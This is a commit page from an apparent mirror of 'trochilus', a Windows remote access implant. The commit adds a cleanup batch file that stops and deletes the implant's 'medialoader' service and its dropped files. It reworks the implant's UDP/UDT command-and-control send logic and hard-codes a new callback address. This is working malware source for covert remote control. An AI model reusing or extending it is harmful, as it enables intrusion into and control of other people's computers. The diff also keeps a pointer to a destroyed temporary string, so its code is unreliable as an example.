qwqdanchun
/
trochilus
mirror of https://github.com/qwqdanchun/trochilus.git
1
0
Fork 0
Code Issues Packages Projects Releases Wiki Activity

fix udp bug.

This commit is contained in:
floyd 2015-07-13 23:34:25 +08:00
parent 1f597f443b
commit bd2208240e
6 changed files with 25 additions and 19 deletions
Show Stats Download Patch File Download Diff File Expand all files Collapse all files

BIN
base/lib/x86/udt.lib
View File

Binary file not shown.

BIN
base/lib/x86/udtd.lib
View File

Binary file not shown.

9
clear.bat Normal file
View File

@ -0,0 +1,9 @@
@echo off
del C:\ods.log
sc stop medialoader
sc delete medialoader
del %ALLUSERSPROFILE%\ser.dat
del %ALLUSERSPROFILE%\shell.dll
del %ALLUSERSPROFILE%\svtlogo.dat

31
client/servant/body/UdpComm.cpp
View File

@ -2,6 +2,8 @@
#include <WS2tcpip.h>
#include "UdpComm.h"
#include "UdpDefines.h"
#include <string>
#ifdef _DEBUG
#pragma comment(lib,"udtd.lib")
@ -9,7 +11,7 @@
#pragma comment(lib,"udt.lib")
#endif
UdpComm::UdpComm(void)
UdpComm::UdpComm(void):m_isConnected(FALSE)
{
UDT::startup();
}
@ -72,20 +74,13 @@ BOOL UdpComm::Send( ULONG targetIP, const LPBYTE pData, DWORD dwSize )
sendByteBuffer.Alloc(dwSize);
memcpy((LPBYTE)sendByteBuffer, pData, dwSize);
BOOL bSentOK = SendAll(m_sock,(LPBYTE)sendByteBuffer,sendByteBuffer.Size());
if ( !m_isConnected )
m_isConnected = Connect(targetIP, g_ConfigInfo.nPort);
if ( !bSentOK )
{
if ( Connect(targetIP, g_ConfigInfo.nPort))
{
bSentOK = SendAll(m_sock,(LPBYTE)sendByteBuffer,sendByteBuffer.Size());
}
else
{
debugLog(_T("connect %x %s failed"), targetIP, a2t(inet_ntoa(addr)));
}
}
return bSentOK;
if ( m_isConnected )
m_isConnected = SendAll(m_sock,(LPBYTE)sendByteBuffer,sendByteBuffer.Size());
return m_isConnected;
}
@ -107,7 +102,7 @@ BOOL UdpComm::SendAndRecv( ULONG targetIP, const LPBYTE pSendData, DWORD dwSendS
if ( !ReceiveAll(m_sock,(char*)&recvHead, sizeof(UDP_HEADER)))
{
errorLog(_T("recv udp failed WE%d"), ::WSAGetLastError());
m_isConnected = FALSE;
break;
}
@ -117,6 +112,7 @@ BOOL UdpComm::SendAndRecv( ULONG targetIP, const LPBYTE pSendData, DWORD dwSendS
if (! ReceiveAll(m_sock,(LPBYTE)buffer,recvHead.nSize))
{
m_isConnected = FALSE;
errorLog(_T("recv udp failed WE%d"), ::WSAGetLastError());
break;
}
@ -132,7 +128,7 @@ BOOL UdpComm::SendAndRecv( ULONG targetIP, const LPBYTE pSendData, DWORD dwSendS
return TRUE;
return ret;
}
BOOL UdpComm::Connect( ULONG targetIP,int port )
@ -148,7 +144,7 @@ BOOL UdpComm::Connect( ULONG targetIP,int port )
IN_ADDR addr;
addr.S_un.S_addr = targetIP;
char* ip = inet_ntoa(addr);
LPCSTR ip = std::string(inet_ntoa(addr)).c_str();
char szPort[255] = {0};
sprintf_s(szPort,"%d",port);
@ -161,7 +157,6 @@ BOOL UdpComm::Connect( ULONG targetIP,int port )
if (UDT::ERROR == UDT::connect(m_sock, peer->ai_addr, peer->ai_addrlen))
{
UDT::close(m_sock);
return FALSE;
}

2
client/servant/body/UdpComm.h
View File

@ -25,6 +25,8 @@ private:
UDTSOCKET m_sock;
BOOL m_isConnected;
HANDLE m_hRecvEvent;
};

2
client/servant/shell/Exports.cpp
View File

@ -231,7 +231,7 @@ SHELL_API BOOL Init(BOOL bWait)
g_ConfigInfo.nFirstConnectMinute = -1;
g_ConfigInfo.nTryConnectIntervalM = 1;
strcpy_s(g_ConfigInfo.szGroups, sizeof(g_ConfigInfo.szGroups), "Default");
strcpy_s(g_ConfigInfo.szAddr, sizeof(g_ConfigInfo.szAddr), "127.0.0.1");
strcpy_s(g_ConfigInfo.szAddr, sizeof(g_ConfigInfo.szAddr), "192.168.50.177");
// strcpy_s(g_CampInfo.szDllName, sizeof(g_CampInfo.szDllName), t2a(SERVANT_SHELL_BINNAME));
// #else